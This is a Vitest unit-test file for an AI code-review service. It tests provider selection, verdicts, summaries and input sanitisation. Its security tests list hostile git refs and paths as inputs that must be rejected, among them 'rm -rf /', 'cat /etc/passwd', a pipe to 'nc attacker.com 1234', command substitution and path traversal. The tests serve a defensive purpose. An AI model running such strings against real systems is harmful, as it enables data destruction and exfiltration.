mirror of
https://github.com/AutoMaker-Org/automaker.git
synced 2026-02-01 08:13:37 +00:00
This commit introduces the CodeRabbit service and its associated routes, enabling users to trigger, manage, and check the status of code reviews through a new API. Key features include: - New routes for triggering code reviews, checking status, and stopping reviews. - Integration with the CodeRabbit CLI for authentication and status checks. - UI components for displaying code review results and settings management. - Unit tests for the new code review functionality to ensure reliability. This enhancement aims to streamline the code review process and leverage AI capabilities for improved code quality.
1049 lines
32 KiB
TypeScript
1049 lines
32 KiB
TypeScript
/**
|
|
* Unit tests for CodeReviewService
|
|
*
|
|
* Tests:
|
|
* - Service initialization and provider detection
|
|
* - Git ref sanitization (security)
|
|
* - File path sanitization (security)
|
|
* - Review execution
|
|
* - Event emission
|
|
* - Result building
|
|
* - Comment parsing
|
|
*/
|
|
|
|
import { describe, it, expect, vi, beforeEach, type Mock } from 'vitest';
|
|
import { CodeReviewService } from '@/services/code-review-service.js';
|
|
import * as cliDetection from '@/lib/cli-detection.js';
|
|
import * as simpleQueryService from '@/providers/simple-query-service.js';
|
|
import { spawn, type ChildProcess } from 'child_process';
|
|
import { EventEmitter } from 'events';
|
|
|
|
// Create mock logger
|
|
const mockLogger = vi.hoisted(() => ({
|
|
info: vi.fn(),
|
|
error: vi.fn(),
|
|
warn: vi.fn(),
|
|
debug: vi.fn(),
|
|
}));
|
|
|
|
// Mock dependencies
|
|
vi.mock('child_process', async (importOriginal) => {
|
|
const actual = await importOriginal<typeof import('child_process')>();
|
|
return {
|
|
...actual,
|
|
spawn: vi.fn(),
|
|
};
|
|
});
|
|
|
|
vi.mock('@automaker/utils', async () => {
|
|
const actual = await vi.importActual<typeof import('@automaker/utils')>('@automaker/utils');
|
|
return {
|
|
...actual,
|
|
createLogger: vi.fn(() => mockLogger),
|
|
};
|
|
});
|
|
|
|
vi.mock('@/lib/cli-detection.js', () => ({
|
|
detectAllCLis: vi.fn(),
|
|
}));
|
|
|
|
vi.mock('@/providers/simple-query-service.js', () => ({
|
|
streamingQuery: vi.fn(),
|
|
}));
|
|
|
|
/**
|
|
* Helper to create a mock child process for spawn
|
|
*/
|
|
function createMockChildProcess(options: {
|
|
stdout?: string;
|
|
stderr?: string;
|
|
exitCode?: number;
|
|
shouldError?: boolean;
|
|
}): ChildProcess {
|
|
const { stdout = '', stderr = '', exitCode = 0, shouldError = false } = options;
|
|
|
|
const mockProcess = new EventEmitter() as any;
|
|
mockProcess.stdout = new EventEmitter();
|
|
mockProcess.stderr = new EventEmitter();
|
|
mockProcess.kill = vi.fn();
|
|
|
|
// Simulate async output
|
|
process.nextTick(() => {
|
|
if (stdout) {
|
|
mockProcess.stdout.emit('data', Buffer.from(stdout));
|
|
}
|
|
if (stderr) {
|
|
mockProcess.stderr.emit('data', Buffer.from(stderr));
|
|
}
|
|
|
|
if (shouldError) {
|
|
mockProcess.emit('error', new Error('Process error'));
|
|
} else {
|
|
mockProcess.emit('close', exitCode);
|
|
}
|
|
});
|
|
|
|
return mockProcess as ChildProcess;
|
|
}
|
|
|
|
describe('code-review-service.ts', () => {
|
|
let service: CodeReviewService;
|
|
const mockEvents = {
|
|
subscribe: vi.fn(),
|
|
emit: vi.fn(),
|
|
};
|
|
const mockSettingsService = {
|
|
getSettings: vi.fn().mockResolvedValue({}),
|
|
};
|
|
|
|
beforeEach(() => {
|
|
vi.clearAllMocks();
|
|
service = new CodeReviewService(mockEvents as any, mockSettingsService as any);
|
|
});
|
|
|
|
describe('constructor', () => {
|
|
it('should initialize with event emitter and settings service', () => {
|
|
expect(service).toBeDefined();
|
|
});
|
|
|
|
it('should work without settings service', () => {
|
|
const serviceWithoutSettings = new CodeReviewService(mockEvents as any);
|
|
expect(serviceWithoutSettings).toBeDefined();
|
|
});
|
|
});
|
|
|
|
describe('initialize', () => {
|
|
it('should detect all available CLIs on initialization', async () => {
|
|
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
|
|
claude: {
|
|
detected: true,
|
|
cli: { installed: true, authenticated: true, version: '1.0.0' },
|
|
issues: [],
|
|
},
|
|
codex: null,
|
|
cursor: null,
|
|
coderabbit: null,
|
|
opencode: null,
|
|
});
|
|
|
|
await service.initialize();
|
|
|
|
expect(cliDetection.detectAllCLis).toHaveBeenCalled();
|
|
});
|
|
});
|
|
|
|
describe('refreshProviderStatus', () => {
|
|
it('should refresh and cache provider status', async () => {
|
|
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
|
|
claude: {
|
|
detected: true,
|
|
cli: { installed: true, authenticated: true, version: '1.0.0' },
|
|
issues: [],
|
|
},
|
|
codex: {
|
|
detected: true,
|
|
cli: { installed: true, authenticated: false, version: '0.5.0' },
|
|
issues: ['Not authenticated'],
|
|
},
|
|
cursor: null,
|
|
coderabbit: null,
|
|
opencode: null,
|
|
});
|
|
|
|
const result = await service.refreshProviderStatus();
|
|
|
|
expect(result.size).toBe(2);
|
|
expect(result.get('claude')).toEqual({
|
|
provider: 'claude',
|
|
available: true,
|
|
authenticated: true,
|
|
version: '1.0.0',
|
|
issues: [],
|
|
});
|
|
expect(result.get('codex')).toEqual({
|
|
provider: 'codex',
|
|
available: true,
|
|
authenticated: false,
|
|
version: '0.5.0',
|
|
issues: ['Not authenticated'],
|
|
});
|
|
});
|
|
});
|
|
|
|
describe('getProviderStatus', () => {
|
|
it('should return cached status within TTL', async () => {
|
|
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
|
|
claude: {
|
|
detected: true,
|
|
cli: { installed: true, authenticated: true, version: '1.0.0' },
|
|
issues: [],
|
|
},
|
|
codex: null,
|
|
cursor: null,
|
|
coderabbit: null,
|
|
opencode: null,
|
|
});
|
|
|
|
// First call refreshes
|
|
await service.getProviderStatus();
|
|
expect(cliDetection.detectAllCLis).toHaveBeenCalledTimes(1);
|
|
|
|
// Second call uses cache
|
|
await service.getProviderStatus();
|
|
expect(cliDetection.detectAllCLis).toHaveBeenCalledTimes(1);
|
|
});
|
|
|
|
it('should force refresh when requested', async () => {
|
|
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
|
|
claude: {
|
|
detected: true,
|
|
cli: { installed: true, authenticated: true, version: '1.0.0' },
|
|
issues: [],
|
|
},
|
|
codex: null,
|
|
cursor: null,
|
|
coderabbit: null,
|
|
opencode: null,
|
|
});
|
|
|
|
await service.getProviderStatus();
|
|
await service.getProviderStatus(true);
|
|
|
|
expect(cliDetection.detectAllCLis).toHaveBeenCalledTimes(2);
|
|
});
|
|
});
|
|
|
|
describe('getBestProvider', () => {
|
|
it('should return claude as highest priority when available', async () => {
|
|
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
|
|
claude: {
|
|
detected: true,
|
|
cli: { installed: true, authenticated: true, version: '1.0.0' },
|
|
issues: [],
|
|
},
|
|
codex: {
|
|
detected: true,
|
|
cli: { installed: true, authenticated: true, version: '0.5.0' },
|
|
issues: [],
|
|
},
|
|
cursor: null,
|
|
coderabbit: null,
|
|
opencode: null,
|
|
});
|
|
|
|
const result = await service.getBestProvider();
|
|
|
|
expect(result).toBe('claude');
|
|
});
|
|
|
|
it('should return codex if claude is not available', async () => {
|
|
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
|
|
claude: null,
|
|
codex: {
|
|
detected: true,
|
|
cli: { installed: true, authenticated: true, version: '0.5.0' },
|
|
issues: [],
|
|
},
|
|
cursor: null,
|
|
coderabbit: null,
|
|
opencode: null,
|
|
});
|
|
|
|
const result = await service.getBestProvider();
|
|
|
|
expect(result).toBe('codex');
|
|
});
|
|
|
|
it('should return null if no providers are available', async () => {
|
|
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
|
|
claude: null,
|
|
codex: null,
|
|
cursor: null,
|
|
coderabbit: null,
|
|
opencode: null,
|
|
});
|
|
|
|
const result = await service.getBestProvider();
|
|
|
|
expect(result).toBeNull();
|
|
});
|
|
|
|
it('should skip unauthenticated providers', async () => {
|
|
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
|
|
claude: {
|
|
detected: true,
|
|
cli: { installed: true, authenticated: false, version: '1.0.0' },
|
|
issues: ['Not authenticated'],
|
|
},
|
|
codex: {
|
|
detected: true,
|
|
cli: { installed: true, authenticated: true, version: '0.5.0' },
|
|
issues: [],
|
|
},
|
|
cursor: null,
|
|
coderabbit: null,
|
|
opencode: null,
|
|
});
|
|
|
|
const result = await service.getBestProvider();
|
|
|
|
expect(result).toBe('codex');
|
|
});
|
|
});
|
|
|
|
describe('executeReview - security', () => {
|
|
describe('git ref sanitization', () => {
|
|
it('should accept valid git refs', async () => {
|
|
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
|
|
claude: {
|
|
detected: true,
|
|
cli: { installed: true, authenticated: true },
|
|
issues: [],
|
|
},
|
|
codex: null,
|
|
cursor: null,
|
|
coderabbit: null,
|
|
opencode: null,
|
|
});
|
|
|
|
// Return a fresh mock process for each spawn call
|
|
vi.mocked(spawn).mockImplementation(() => createMockChildProcess({ stdout: '' }));
|
|
// Mock getBestProvider to avoid async issues
|
|
vi.spyOn(service, 'getBestProvider').mockResolvedValue('claude');
|
|
|
|
// These should not throw
|
|
const validRefs = ['HEAD', 'HEAD~1', 'HEAD~10', 'main', 'feature/test', 'v1.0.0', 'abc123'];
|
|
|
|
for (const ref of validRefs) {
|
|
const result = await service.executeReview({
|
|
projectPath: '/test/project',
|
|
baseRef: ref,
|
|
});
|
|
expect(result.verdict).toBe('approved');
|
|
}
|
|
});
|
|
|
|
it('should reject git refs that are too long', async () => {
|
|
const longRef = 'a'.repeat(300);
|
|
|
|
await expect(
|
|
service.executeReview({
|
|
projectPath: '/test/project',
|
|
baseRef: longRef,
|
|
})
|
|
).rejects.toThrow('Git reference is too long');
|
|
});
|
|
|
|
it('should reject empty git refs', async () => {
|
|
await expect(
|
|
service.executeReview({
|
|
projectPath: '/test/project',
|
|
baseRef: ' ',
|
|
})
|
|
).rejects.toThrow('Git reference cannot be empty');
|
|
});
|
|
|
|
it('should reject git refs with path traversal', async () => {
|
|
await expect(
|
|
service.executeReview({
|
|
projectPath: '/test/project',
|
|
baseRef: '../etc/passwd',
|
|
})
|
|
).rejects.toThrow('Git reference contains invalid characters');
|
|
});
|
|
|
|
it('should reject git refs starting with dash (flag injection)', async () => {
|
|
await expect(
|
|
service.executeReview({
|
|
projectPath: '/test/project',
|
|
baseRef: '--exec=rm -rf /',
|
|
})
|
|
).rejects.toThrow('Git reference contains invalid characters');
|
|
});
|
|
|
|
it('should reject git refs with shell metacharacters', async () => {
|
|
const maliciousRefs = [
|
|
'HEAD; rm -rf /',
|
|
'HEAD && cat /etc/passwd',
|
|
'HEAD | nc attacker.com 1234',
|
|
'HEAD`whoami`',
|
|
'HEAD$(whoami)',
|
|
];
|
|
|
|
for (const ref of maliciousRefs) {
|
|
await expect(
|
|
service.executeReview({
|
|
projectPath: '/test/project',
|
|
baseRef: ref,
|
|
})
|
|
).rejects.toThrow('Git reference contains invalid characters');
|
|
}
|
|
});
|
|
|
|
it('should reject git refs with whitespace', async () => {
|
|
await expect(
|
|
service.executeReview({
|
|
projectPath: '/test/project',
|
|
baseRef: 'HEAD --version',
|
|
})
|
|
).rejects.toThrow('Git reference contains invalid characters');
|
|
});
|
|
});
|
|
|
|
describe('file path sanitization', () => {
|
|
it('should reject absolute paths', async () => {
|
|
await expect(
|
|
service.executeReview({
|
|
projectPath: '/test/project',
|
|
files: ['/etc/passwd'],
|
|
})
|
|
).rejects.toThrow('Absolute file paths are not allowed');
|
|
});
|
|
|
|
it('should reject Windows absolute paths', async () => {
|
|
await expect(
|
|
service.executeReview({
|
|
projectPath: '/test/project',
|
|
files: ['C:\\Windows\\System32\\config'],
|
|
})
|
|
).rejects.toThrow('Absolute file paths are not allowed');
|
|
});
|
|
|
|
it('should reject path traversal in files', async () => {
|
|
await expect(
|
|
service.executeReview({
|
|
projectPath: '/test/project',
|
|
files: ['../../../etc/passwd'],
|
|
})
|
|
).rejects.toThrow('Path traversal is not allowed');
|
|
});
|
|
|
|
it('should reject files with null bytes', async () => {
|
|
await expect(
|
|
service.executeReview({
|
|
projectPath: '/test/project',
|
|
files: ['file.txt\x00.exe'],
|
|
})
|
|
).rejects.toThrow('File path contains invalid characters');
|
|
});
|
|
|
|
it('should reject too many files (DoS prevention)', async () => {
|
|
const tooManyFiles = Array.from({ length: 150 }, (_, i) => `file${i}.ts`);
|
|
|
|
await expect(
|
|
service.executeReview({
|
|
projectPath: '/test/project',
|
|
files: tooManyFiles,
|
|
})
|
|
).rejects.toThrow('Too many files specified. Maximum is 100');
|
|
});
|
|
|
|
it('should accept valid relative paths', async () => {
|
|
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
|
|
claude: {
|
|
detected: true,
|
|
cli: { installed: true, authenticated: true },
|
|
issues: [],
|
|
},
|
|
codex: null,
|
|
cursor: null,
|
|
coderabbit: null,
|
|
opencode: null,
|
|
});
|
|
|
|
// Return fresh mock process for each spawn call (worktree detection + git diff)
|
|
vi.mocked(spawn).mockImplementation(() =>
|
|
createMockChildProcess({ stdout: 'diff content' })
|
|
);
|
|
// Mock getBestProvider to avoid async issues
|
|
vi.spyOn(service, 'getBestProvider').mockResolvedValue('claude');
|
|
|
|
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
|
|
text: '```json\n{"verdict": "approved", "summary": "LGTM", "comments": []}\n```',
|
|
stopReason: 'end_turn',
|
|
});
|
|
|
|
const result = await service.executeReview({
|
|
projectPath: '/test/project',
|
|
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
|
|
files: ['src/index.ts', 'src/components/Button.tsx'],
|
|
});
|
|
|
|
expect(result.verdict).toBe('approved');
|
|
});
|
|
});
|
|
});
|
|
|
|
describe('executeReview - execution', () => {
|
|
beforeEach(async () => {
|
|
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
|
|
claude: {
|
|
detected: true,
|
|
cli: { installed: true, authenticated: true },
|
|
issues: [],
|
|
},
|
|
codex: null,
|
|
cursor: null,
|
|
coderabbit: null,
|
|
opencode: null,
|
|
});
|
|
// Initialize provider cache to avoid async issues
|
|
await service.initialize();
|
|
// Mock getBestProvider to return 'claude' directly to avoid async issues
|
|
vi.spyOn(service, 'getBestProvider').mockResolvedValue('claude');
|
|
});
|
|
|
|
it('should return empty result when no files changed', async () => {
|
|
const mockProcess = createMockChildProcess({ stdout: '' });
|
|
vi.mocked(spawn).mockReturnValue(mockProcess);
|
|
|
|
const result = await service.executeReview({
|
|
projectPath: '/test/project',
|
|
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
|
|
});
|
|
|
|
expect(result.verdict).toBe('approved');
|
|
expect(result.summary).toBe('No changes to review.');
|
|
expect(result.comments).toEqual([]);
|
|
expect(mockEvents.emit).toHaveBeenCalledWith(
|
|
'code_review:event',
|
|
expect.objectContaining({
|
|
type: 'code_review_start',
|
|
})
|
|
);
|
|
expect(mockEvents.emit).toHaveBeenCalledWith(
|
|
'code_review:event',
|
|
expect.objectContaining({
|
|
type: 'code_review_complete',
|
|
})
|
|
);
|
|
});
|
|
|
|
it('should execute review and parse JSON response', async () => {
|
|
// Create mock processes inside mockImplementation to ensure events emit after listeners attach
|
|
let spawnCallCount = 0;
|
|
vi.mocked(spawn).mockImplementation(() => {
|
|
spawnCallCount++;
|
|
return spawnCallCount === 1
|
|
? createMockChildProcess({ stdout: 'src/index.ts\nsrc/utils.ts\n' })
|
|
: createMockChildProcess({ stdout: 'diff --git a/src/index.ts...' });
|
|
});
|
|
|
|
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
|
|
text: `\`\`\`json
|
|
{
|
|
"verdict": "changes_requested",
|
|
"summary": "Found security issue",
|
|
"comments": [
|
|
{
|
|
"filePath": "src/index.ts",
|
|
"startLine": 10,
|
|
"endLine": 15,
|
|
"body": "SQL injection vulnerability detected",
|
|
"severity": "critical",
|
|
"category": "security",
|
|
"suggestedFix": "Use parameterized queries"
|
|
}
|
|
]
|
|
}
|
|
\`\`\``,
|
|
stopReason: 'end_turn',
|
|
});
|
|
|
|
const result = await service.executeReview({
|
|
projectPath: '/test/project',
|
|
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
|
|
});
|
|
|
|
expect(result.verdict).toBe('changes_requested');
|
|
expect(result.comments).toHaveLength(1);
|
|
expect(result.comments[0].severity).toBe('critical');
|
|
expect(result.comments[0].category).toBe('security');
|
|
expect(result.filesReviewed).toEqual(['src/index.ts', 'src/utils.ts']);
|
|
});
|
|
|
|
it('should emit code_review_comment events for each comment', async () => {
|
|
// Create mock processes inside mockImplementation to ensure events emit after listeners attach
|
|
let spawnCallCount = 0;
|
|
vi.mocked(spawn).mockImplementation(() => {
|
|
spawnCallCount++;
|
|
return spawnCallCount === 1
|
|
? createMockChildProcess({ stdout: 'src/index.ts\n' })
|
|
: createMockChildProcess({ stdout: 'diff content' });
|
|
});
|
|
|
|
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
|
|
text: `\`\`\`json
|
|
{
|
|
"verdict": "approved",
|
|
"summary": "Minor improvements suggested",
|
|
"comments": [
|
|
{
|
|
"filePath": "src/index.ts",
|
|
"startLine": 5,
|
|
"body": "Consider using const",
|
|
"severity": "low",
|
|
"category": "code_quality"
|
|
},
|
|
{
|
|
"filePath": "src/index.ts",
|
|
"startLine": 20,
|
|
"body": "Add error handling",
|
|
"severity": "medium",
|
|
"category": "implementation"
|
|
}
|
|
]
|
|
}
|
|
\`\`\``,
|
|
stopReason: 'end_turn',
|
|
});
|
|
|
|
await service.executeReview({
|
|
projectPath: '/test/project',
|
|
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
|
|
});
|
|
|
|
// Should emit 2 code_review_comment events (one for each comment)
|
|
const commentEvents = mockEvents.emit.mock.calls.filter(
|
|
(call) => call[1]?.type === 'code_review_comment'
|
|
);
|
|
expect(commentEvents).toHaveLength(2);
|
|
});
|
|
|
|
it('should handle git diff error gracefully', async () => {
|
|
const errorProcess = createMockChildProcess({
|
|
stderr: 'fatal: not a git repository',
|
|
exitCode: 128,
|
|
});
|
|
vi.mocked(spawn).mockReturnValue(errorProcess);
|
|
|
|
await expect(
|
|
service.executeReview({
|
|
projectPath: '/not-a-git-repo',
|
|
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
|
|
})
|
|
).rejects.toThrow('Failed to get changed files from git');
|
|
|
|
expect(mockEvents.emit).toHaveBeenCalledWith(
|
|
'code_review:event',
|
|
expect.objectContaining({
|
|
type: 'code_review_error',
|
|
})
|
|
);
|
|
});
|
|
|
|
it('should handle spawn error', async () => {
|
|
const errorProcess = createMockChildProcess({
|
|
shouldError: true,
|
|
});
|
|
vi.mocked(spawn).mockReturnValue(errorProcess);
|
|
|
|
await expect(
|
|
service.executeReview({
|
|
projectPath: '/test/project',
|
|
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
|
|
})
|
|
).rejects.toThrow('Failed to execute git command');
|
|
});
|
|
|
|
it('should fallback to text when JSON parsing fails', async () => {
|
|
// Create mock processes inside mockImplementation to ensure events emit after listeners attach
|
|
let spawnCallCount = 0;
|
|
vi.mocked(spawn).mockImplementation(() => {
|
|
spawnCallCount++;
|
|
return spawnCallCount === 1
|
|
? createMockChildProcess({ stdout: 'src/index.ts\n' })
|
|
: createMockChildProcess({ stdout: 'diff content' });
|
|
});
|
|
|
|
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
|
|
text: 'This is a plain text review without JSON formatting',
|
|
stopReason: 'end_turn',
|
|
});
|
|
|
|
const result = await service.executeReview({
|
|
projectPath: '/test/project',
|
|
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
|
|
});
|
|
|
|
expect(result.comments).toHaveLength(1);
|
|
expect(result.comments[0].body).toBe('This is a plain text review without JSON formatting');
|
|
expect(result.comments[0].severity).toBe('info');
|
|
expect(mockLogger.warn).toHaveBeenCalledWith(
|
|
'Failed to parse review JSON, falling back to text extraction',
|
|
expect.any(Object)
|
|
);
|
|
});
|
|
});
|
|
|
|
describe('verdict determination', () => {
|
|
beforeEach(() => {
|
|
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
|
|
claude: {
|
|
detected: true,
|
|
cli: { installed: true, authenticated: true },
|
|
issues: [],
|
|
},
|
|
codex: null,
|
|
cursor: null,
|
|
coderabbit: null,
|
|
opencode: null,
|
|
});
|
|
// Mock getBestProvider to return 'claude' directly to avoid async issues
|
|
vi.spyOn(service, 'getBestProvider').mockResolvedValue('claude');
|
|
});
|
|
|
|
it('should return changes_requested for critical issues', async () => {
|
|
// Create mock processes inside mockImplementation to ensure events emit after listeners attach
|
|
let spawnCallCount = 0;
|
|
vi.mocked(spawn).mockImplementation(() => {
|
|
spawnCallCount++;
|
|
return spawnCallCount === 1
|
|
? createMockChildProcess({ stdout: 'src/index.ts\n' })
|
|
: createMockChildProcess({ stdout: 'diff content' });
|
|
});
|
|
|
|
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
|
|
text: `\`\`\`json
|
|
{
|
|
"verdict": "approved",
|
|
"summary": "test",
|
|
"comments": [
|
|
{
|
|
"filePath": "src/index.ts",
|
|
"startLine": 1,
|
|
"body": "Critical issue",
|
|
"severity": "critical",
|
|
"category": "security"
|
|
}
|
|
]
|
|
}
|
|
\`\`\``,
|
|
stopReason: 'end_turn',
|
|
});
|
|
|
|
const result = await service.executeReview({
|
|
projectPath: '/test/project',
|
|
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
|
|
});
|
|
|
|
expect(result.verdict).toBe('changes_requested');
|
|
});
|
|
|
|
it('should return needs_discussion for high severity issues', async () => {
|
|
// Create mock processes inside mockImplementation to ensure events emit after listeners attach
|
|
let spawnCallCount = 0;
|
|
vi.mocked(spawn).mockImplementation(() => {
|
|
spawnCallCount++;
|
|
return spawnCallCount === 1
|
|
? createMockChildProcess({ stdout: 'src/index.ts\n' })
|
|
: createMockChildProcess({ stdout: 'diff content' });
|
|
});
|
|
|
|
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
|
|
text: `\`\`\`json
|
|
{
|
|
"verdict": "approved",
|
|
"summary": "test",
|
|
"comments": [
|
|
{
|
|
"filePath": "src/index.ts",
|
|
"startLine": 1,
|
|
"body": "High issue",
|
|
"severity": "high",
|
|
"category": "performance"
|
|
}
|
|
]
|
|
}
|
|
\`\`\``,
|
|
stopReason: 'end_turn',
|
|
});
|
|
|
|
const result = await service.executeReview({
|
|
projectPath: '/test/project',
|
|
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
|
|
});
|
|
|
|
expect(result.verdict).toBe('needs_discussion');
|
|
});
|
|
|
|
it('should return approved for medium/low/info issues only', async () => {
|
|
// Create mock processes inside mockImplementation to ensure events emit after listeners attach
|
|
let spawnCallCount = 0;
|
|
vi.mocked(spawn).mockImplementation(() => {
|
|
spawnCallCount++;
|
|
return spawnCallCount === 1
|
|
? createMockChildProcess({ stdout: 'src/index.ts\n' })
|
|
: createMockChildProcess({ stdout: 'diff content' });
|
|
});
|
|
|
|
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
|
|
text: `\`\`\`json
|
|
{
|
|
"verdict": "changes_requested",
|
|
"summary": "test",
|
|
"comments": [
|
|
{
|
|
"filePath": "src/index.ts",
|
|
"startLine": 1,
|
|
"body": "Medium issue",
|
|
"severity": "medium",
|
|
"category": "code_quality"
|
|
},
|
|
{
|
|
"filePath": "src/index.ts",
|
|
"startLine": 10,
|
|
"body": "Low issue",
|
|
"severity": "low",
|
|
"category": "documentation"
|
|
}
|
|
]
|
|
}
|
|
\`\`\``,
|
|
stopReason: 'end_turn',
|
|
});
|
|
|
|
const result = await service.executeReview({
|
|
projectPath: '/test/project',
|
|
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
|
|
});
|
|
|
|
expect(result.verdict).toBe('approved');
|
|
});
|
|
});
|
|
|
|
describe('summary building', () => {
|
|
beforeEach(async () => {
|
|
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
|
|
claude: {
|
|
detected: true,
|
|
cli: { installed: true, authenticated: true },
|
|
issues: [],
|
|
},
|
|
codex: null,
|
|
cursor: null,
|
|
coderabbit: null,
|
|
opencode: null,
|
|
});
|
|
// Initialize provider cache to avoid async issues
|
|
await service.initialize();
|
|
// Mock getBestProvider to return 'claude' directly to avoid async issues
|
|
vi.spyOn(service, 'getBestProvider').mockResolvedValue('claude');
|
|
});
|
|
|
|
it('should build correct summary stats', async () => {
|
|
// Create mock processes inside mockImplementation to ensure events emit after listeners attach
|
|
let spawnCallCount = 0;
|
|
vi.mocked(spawn).mockImplementation(() => {
|
|
spawnCallCount++;
|
|
return spawnCallCount === 1
|
|
? createMockChildProcess({ stdout: 'src/index.ts\nsrc/utils.ts\n' })
|
|
: createMockChildProcess({ stdout: 'diff content' });
|
|
});
|
|
|
|
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
|
|
text: `\`\`\`json
|
|
{
|
|
"verdict": "approved",
|
|
"summary": "test",
|
|
"comments": [
|
|
{ "filePath": "src/index.ts", "startLine": 1, "body": "Critical", "severity": "critical", "category": "security" },
|
|
{ "filePath": "src/index.ts", "startLine": 2, "body": "High", "severity": "high", "category": "performance" },
|
|
{ "filePath": "src/index.ts", "startLine": 3, "body": "Medium", "severity": "medium", "category": "code_quality" },
|
|
{ "filePath": "src/utils.ts", "startLine": 1, "body": "Low", "severity": "low", "category": "testing" },
|
|
{ "filePath": "src/utils.ts", "startLine": 2, "body": "Info", "severity": "info", "category": "documentation" }
|
|
]
|
|
}
|
|
\`\`\``,
|
|
stopReason: 'end_turn',
|
|
});
|
|
|
|
const result = await service.executeReview({
|
|
projectPath: '/test/project',
|
|
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
|
|
});
|
|
|
|
expect(result.stats.totalComments).toBe(5);
|
|
expect(result.stats.bySeverity).toEqual({
|
|
critical: 1,
|
|
high: 1,
|
|
medium: 1,
|
|
low: 1,
|
|
info: 1,
|
|
});
|
|
expect(result.stats.byCategory.security).toBe(1);
|
|
expect(result.stats.byCategory.performance).toBe(1);
|
|
expect(result.stats.byCategory.code_quality).toBe(1);
|
|
expect(result.stats.byCategory.testing).toBe(1);
|
|
expect(result.stats.byCategory.documentation).toBe(1);
|
|
});
|
|
|
|
it('should generate human-readable summary text', async () => {
|
|
// Create mock processes inside mockImplementation to ensure events emit after listeners attach
|
|
let spawnCallCount = 0;
|
|
vi.mocked(spawn).mockImplementation(() => {
|
|
spawnCallCount++;
|
|
return spawnCallCount === 1
|
|
? createMockChildProcess({ stdout: 'src/index.ts\nsrc/utils.ts\n' })
|
|
: createMockChildProcess({ stdout: 'diff content' });
|
|
});
|
|
|
|
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
|
|
text: `\`\`\`json
|
|
{
|
|
"verdict": "approved",
|
|
"summary": "test",
|
|
"comments": [
|
|
{ "filePath": "src/index.ts", "startLine": 1, "body": "Critical", "severity": "critical", "category": "security" },
|
|
{ "filePath": "src/index.ts", "startLine": 2, "body": "Medium", "severity": "medium", "category": "code_quality" }
|
|
]
|
|
}
|
|
\`\`\``,
|
|
stopReason: 'end_turn',
|
|
});
|
|
|
|
const result = await service.executeReview({
|
|
projectPath: '/test/project',
|
|
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
|
|
});
|
|
|
|
expect(result.summary).toContain('2 comment');
|
|
expect(result.summary).toContain('2 file');
|
|
expect(result.summary).toContain('1 critical');
|
|
expect(result.summary).toContain('1 medium');
|
|
});
|
|
});
|
|
|
|
describe('severity and category validation', () => {
|
|
beforeEach(async () => {
|
|
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
|
|
claude: {
|
|
detected: true,
|
|
cli: { installed: true, authenticated: true },
|
|
issues: [],
|
|
},
|
|
codex: null,
|
|
cursor: null,
|
|
coderabbit: null,
|
|
opencode: null,
|
|
});
|
|
// Initialize provider cache to avoid async issues
|
|
await service.initialize();
|
|
// Mock getBestProvider to return 'claude' directly to avoid async issues
|
|
vi.spyOn(service, 'getBestProvider').mockResolvedValue('claude');
|
|
});
|
|
|
|
it('should normalize invalid severity to medium', async () => {
|
|
// Create mock processes inside mockImplementation to ensure events emit after listeners attach
|
|
let spawnCallCount = 0;
|
|
vi.mocked(spawn).mockImplementation(() => {
|
|
spawnCallCount++;
|
|
return spawnCallCount === 1
|
|
? createMockChildProcess({ stdout: 'src/index.ts\n' })
|
|
: createMockChildProcess({ stdout: 'diff content' });
|
|
});
|
|
|
|
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
|
|
text: `\`\`\`json
|
|
{
|
|
"verdict": "approved",
|
|
"summary": "test",
|
|
"comments": [
|
|
{ "filePath": "src/index.ts", "startLine": 1, "body": "Test", "severity": "invalid_severity", "category": "security" }
|
|
]
|
|
}
|
|
\`\`\``,
|
|
stopReason: 'end_turn',
|
|
});
|
|
|
|
const result = await service.executeReview({
|
|
projectPath: '/test/project',
|
|
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
|
|
});
|
|
|
|
expect(result.comments[0].severity).toBe('medium');
|
|
});
|
|
|
|
it('should normalize invalid category to code_quality', async () => {
|
|
// Create mock processes inside mockImplementation to ensure events emit after listeners attach
|
|
let spawnCallCount = 0;
|
|
vi.mocked(spawn).mockImplementation(() => {
|
|
spawnCallCount++;
|
|
return spawnCallCount === 1
|
|
? createMockChildProcess({ stdout: 'src/index.ts\n' })
|
|
: createMockChildProcess({ stdout: 'diff content' });
|
|
});
|
|
|
|
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
|
|
text: `\`\`\`json
|
|
{
|
|
"verdict": "approved",
|
